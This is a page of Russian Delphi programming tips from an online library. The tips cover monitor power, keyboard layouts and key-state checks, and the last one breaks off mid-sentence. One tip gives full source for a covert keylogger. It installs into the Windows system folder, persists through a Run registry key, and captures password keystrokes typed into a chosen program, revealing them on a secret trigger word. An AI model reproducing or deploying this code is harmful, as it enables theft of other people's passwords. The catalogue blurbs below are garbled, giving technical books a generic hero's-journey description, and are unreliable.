Виртуальная библиотека Delphi - [7]

Шрифт
Интервал


А вот еще интересный прикол.

Включение/выключение монитора программным способом.


Предупреждаю сразу! После того, как вы отключите монитор, просто так вы его уже не включите (хотя это может быть зависит от монитора, я, во всяком случае, не смог). Только после перезагрузки компьютера.


Отключить :

>SendMessage(Application.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, 0);


Включить :

>SendMessage(Application.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, -1); 

Переключение языка из программы 

Для переключения языка применяется вызов LoadKeyboardLayout:

>var russian, latin: HKL;

>russian:=LoadKeyboardLayout('00000419', 0);

>latin:=LoadKeyboardLayout('00000409', 0); 

-- -- -- -- -- где то в программе --- --- ---

>SetActiveKeyboardLayout(russian);

Как отловить нажатия клавиш для всех процессов в системе? 

Вот, может поможет:

>1. Setup.bat

=== Cut ===

>@echo off

>copy HookAgnt.dll %windir%\system

>copy kbdhook.exe %windir%\system

>start HookAgnt.reg

=== Cut ===

>2.HookAgnt.reg

=== Cut ===

>REGEDIT4

>[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]

>"kbdhook"="kbdhook.exe"

=== Cut ===

>3.KbdHook.dpr

=== Cut ===

>program cwbhook;

>uses Windows, Dialogs;

>var

> hinstDLL: HINST;

> hkprcKeyboard: TFNHookProc;

> msg: TMsg;

>begin

> hinstDLL := LoadLibrary('HookAgnt.dll');

> hkprcKeyboard := GetProcAddress(hinstDLL, 'KeyboardProc');

> SetWindowsHookEx(WH_KEYBOARD, hkprcKeyboard, hinstDLL, 0);

> repeat until not GetMessage(msg, 0, 0, 0);

>end.

=== Cut === 

>4.HookAgnt.dpr

=== Cut ===

>library HookAgent;

>uses Windows, KeyboardHook in 'KeyboardHook.pas';

>exports KeyboardProc;

>var

> hFileMappingObject: THandle;

> fInit: Boolean;

>procedure DLLMain(Reason: Integer);

>begin

> if Reason = DLL_PROCESS_DETACH then begin

>  UnmapViewOfFile(lpvMem);

>  CloseHandle(hFileMappingObject);

> end;

>end;

>begin

> DLLProc := @DLLMain;

> hFileMappingObject := CreateFileMapping(THandle($FFFFFFFF), // use paging file

>  nil, // no security attributes

>  PAGE_READWRITE, // read/write access

>  0, // size: high 32 bits

>  4096, // size: low 32 bits

>  'HookAgentShareMem' // name of map object

> );

> if hFileMappingObject = INVALID_HANDLE_VALUE then begin

>  ExitCode := 1;

>  Exit;

> end;

> fInit := GetLastError() <> ERROR_ALREADY_EXISTS;

> lpvMem := MapViewOfFile(

>  hFileMappingObject, // object to map view of

>  FILE_MAP_WRITE, // read/write access

>  0, // high offset: map from

>  0, // low offset: beginning

>  0); // default: map entire file

> if lpvMem = nil then begin

>  CloseHandle(hFileMappingObject);

>  ExitCode := 1;

>  Exit;

> end;

> if fInit then FillChar(lpvMem, PASSWORDSIZE, #0);

>end.

=== Cut ===

>5.KeyboardHook.pas

=== Cut ===

>unit KeyboardHook;

>interface

>uses Windows;

>const PASSWORDSIZE = 16;

>var

> g_hhk: HHOOK;

> g_szKeyword: array[0..PASSWORDSIZE-1] of char;

> lpvMem: Pointer;

>function KeyboardProc(nCode: Integer; wParam: WPARAM; lParam: LPARAM ): LRESULT; stdcall;

>implementation

> uses SysUtils, Dialogs;

> function KeyboardProc(nCode: Integer; wParam: WPARAM; lParam: LPARAM ): LRESULT;

> var

>  szModuleFileName: array[0..MAX_PATH-1] of Char;

>  szKeyName: array[0..16] of Char;

>  lpszPassword: PChar;

> begin

>  lpszPassword := PChar(lpvMem);

>  if (nCode = HC_ACTION) and (((lParam shr 16) and KF_UP) = 0) then begin

>   GetKeyNameText(lParam, szKeyName, sizeof(szKeyName));

>   if StrLen(g_szKeyword) + StrLen(szKeyName) >= PASSWORDSIZE then

>    lstrcpy(g_szKeyword, g_szKeyword + StrLen(szKeyName));

>   lstrcat(g_szKeyword, szKeyName);

>   GetModuleFileName(0, szModuleFileName, sizeof(szModuleFileName));

>   if (StrPos(StrUpper(szModuleFileName),'__ТО_ЧЕГО_НАДО__') <> nil) and

>    (strlen(lpszPassword) + strlen(szKeyName) < PASSWORDSIZE) then

>    lstrcat(lpszPassword, szKeyName);

>   if StrPos(StrUpper(g_szKeyword), 'GOLDENEYE') <> nil then begin

>    ShowMessage(lpszPassword);

>    g_szKeyword[0] := #0;

>   end;

>   Result := 0;

>  end

>  else Result := CallNextHookEx(g_hhk, nCode, wParam, lParam);

> end;

>end.

=== Cut ===

Информация о состоянии клавиатуры 

Я хотел бы узнать, при запуске моего приложения, нажата ли клавиша Ctrl. Просто хочется сделать, что-то вроде пароля.


О состоянии клавиатуры дают информацию следующие функции:

GetKeyState, GetAsyncKeyState, GetKeyboardState.

Чтобы упростить себе жизнь и не возиться с этими функциями снова и снова я написал маленькие функции:

>function AltKeyDown : boolean;

>begin

> result:=(Word(GetKeyState(VK_MENU)) and $8000)<>0;

>end;

>function CtrlKeyDown : boolean;

>begin

> result:=(Word(GetKeyState(VK_CONTROL)) and $8000)<>0;

>end;

>function ShiftKeyDown : boolean;

>begin

> result:=(Word(GetKeyState(VK_SHIFT)) and $8000)<>0;

>end;

А заодно и для клавиш переключателей:

>function CapsLock : boolean;

>begin

> result:=(GetKeyState(VK_CAPITAL) and 1)<>0;

>end;

>function InsertOn : boolean;

>begin

> result:=(GetKeyState(VK_INSERT) and 1)<>0;

>end;

>function NumLock : boolean;

>begin

> result:=(GetKeyState(VK_NUMLOCK) and 1)<>0;

>end;

>function ScrollLock : boolean;

>begin

> result:=(GetKeyState(VK_SCROLL) and 1)<>0;

>end;

Управление питанием из программы на Delphi 

При написании разнообразны программ типа заставок, менеджеров управления компьютером… возникает необходимость переводить компьютер в режим «спячки». Для включения этого режима в Windows 95 (и только в ней !!) предусмотрена команда API:


Еще от автора Неизвестный Автор
Галчонок

В книге рассказывается история главного героя, который сталкивается с различными проблемами и препятствиями на протяжении всего своего путешествия. По пути он встречает множество второстепенных персонажей, которые играют важные роли в истории. Благодаря опыту главного героя книга исследует такие темы, как любовь, потеря, надежда и стойкость. По мере того, как главный герой преодолевает свои трудности, он усваивает ценные уроки жизни и растет как личность.


Призраки ночи

В книге собраны предания и поверья о призраках ночи — колдунах и ведьмах, оборотнях и вампирах, один вид которых вызывал неподдельный страх, леденивший даже мужественное сердце.


Закат  вечности

В книге рассказывается история главного героя, который сталкивается с различными проблемами и препятствиями на протяжении всего своего путешествия. По пути он встречает множество второстепенных персонажей, которые играют важные роли в истории. Благодаря опыту главного героя книга исследует такие темы, как любовь, потеря, надежда и стойкость. По мере того, как главный герой преодолевает свои трудности, он усваивает ценные уроки жизни и растет как личность.


mmmavro.org | День 131, Победа

В книге рассказывается история главного героя, который сталкивается с различными проблемами и препятствиями на протяжении всего своего путешествия. По пути он встречает множество второстепенных персонажей, которые играют важные роли в истории. Благодаря опыту главного героя книга исследует такие темы, как любовь, потеря, надежда и стойкость. По мере того, как главный герой преодолевает свои трудности, он усваивает ценные уроки жизни и растет как личность.


Песнь о Нибелунгах

…«Песнь о Нибелунгах» принадлежит к числу наиболее известных эпических произведений человечества. Она находится в кругу таких творений, как поэмы Гомера и «Песнь о Роланде», «Слово о полку Игореве» и «Божественная комедия» Данте — если оставаться в пределе европейских литератур…В. Г. Адмони.


mmmavro.org | День 132, Поэт

В книге рассказывается история главного героя, который сталкивается с различными проблемами и препятствиями на протяжении всего своего путешествия. По пути он встречает множество второстепенных персонажей, которые играют важные роли в истории. Благодаря опыту главного героя книга исследует такие темы, как любовь, потеря, надежда и стойкость. По мере того, как главный герой преодолевает свои трудности, он усваивает ценные уроки жизни и растет как личность.


Рекомендуем почитать
Графика DirectX в Delphi

В книге рассказывается история главного героя, который сталкивается с различными проблемами и препятствиями на протяжении всего своего путешествия. По пути он встречает множество второстепенных персонажей, которые играют важные роли в истории. Благодаря опыту главного героя книга исследует такие темы, как любовь, потеря, надежда и стойкость. По мере того, как главный герой преодолевает свои трудности, он усваивает ценные уроки жизни и растет как личность.


Вторая жизнь старых компьютеров

Сейчас во многих школах, институтах и других учебных заведениях можно встретить компьютеры старого парка, уже отслужившие свое как морально, так и физически. На таких компьютерах можно изучать разве что Dos, что далеко от реалий сегодняшнего дня. К тому же у большинства, как правило, жесткий диск уже в нерабочем состоянии. Но и выбросить жалко, а новых никто не дает. Различные спонсоры, меценаты, бывает, подарят компьютер (один) и радуются, как дети. Спасибо, конечно, большое, но проблемы, как вы понимаете, этот компьютер в общем не решает, даже наоборот, усугубляет, работать на старых уже как-то не хочется, теперь просто есть с чем сравнивать.


DirectX 8. Начинаем работу с DirectX Graphics

В книге рассказывается история главного героя, который сталкивается с различными проблемами и препятствиями на протяжении всего своего путешествия. По пути он встречает множество второстепенных персонажей, которые играют важные роли в истории. Благодаря опыту главного героя книга исследует такие темы, как любовь, потеря, надежда и стойкость. По мере того, как главный герой преодолевает свои трудности, он усваивает ценные уроки жизни и растет как личность.


Симуляция частичной специализации

В книге рассказывается история главного героя, который сталкивается с различными проблемами и препятствиями на протяжении всего своего путешествия. По пути он встречает множество второстепенных персонажей, которые играют важные роли в истории. Благодаря опыту главного героя книга исследует такие темы, как любовь, потеря, надежда и стойкость. По мере того, как главный герой преодолевает свои трудности, он усваивает ценные уроки жизни и растет как личность.


Обработка событий в С++

В книге рассказывается история главного героя, который сталкивается с различными проблемами и препятствиями на протяжении всего своего путешествия. По пути он встречает множество второстепенных персонажей, которые играют важные роли в истории. Благодаря опыту главного героя книга исследует такие темы, как любовь, потеря, надежда и стойкость. По мере того, как главный герой преодолевает свои трудности, он усваивает ценные уроки жизни и растет как личность.


Питон — модули, пакеты, классы, экземпляры

Python - объектно-ориентированный язык сверхвысокого уровня. Python, в отличии от Java, не требует исключительно объектной ориентированности, но классы в Python так просто изучить и так удобно использовать, что даже новые и неискушенные пользователи быстро переходят на ОО-подход.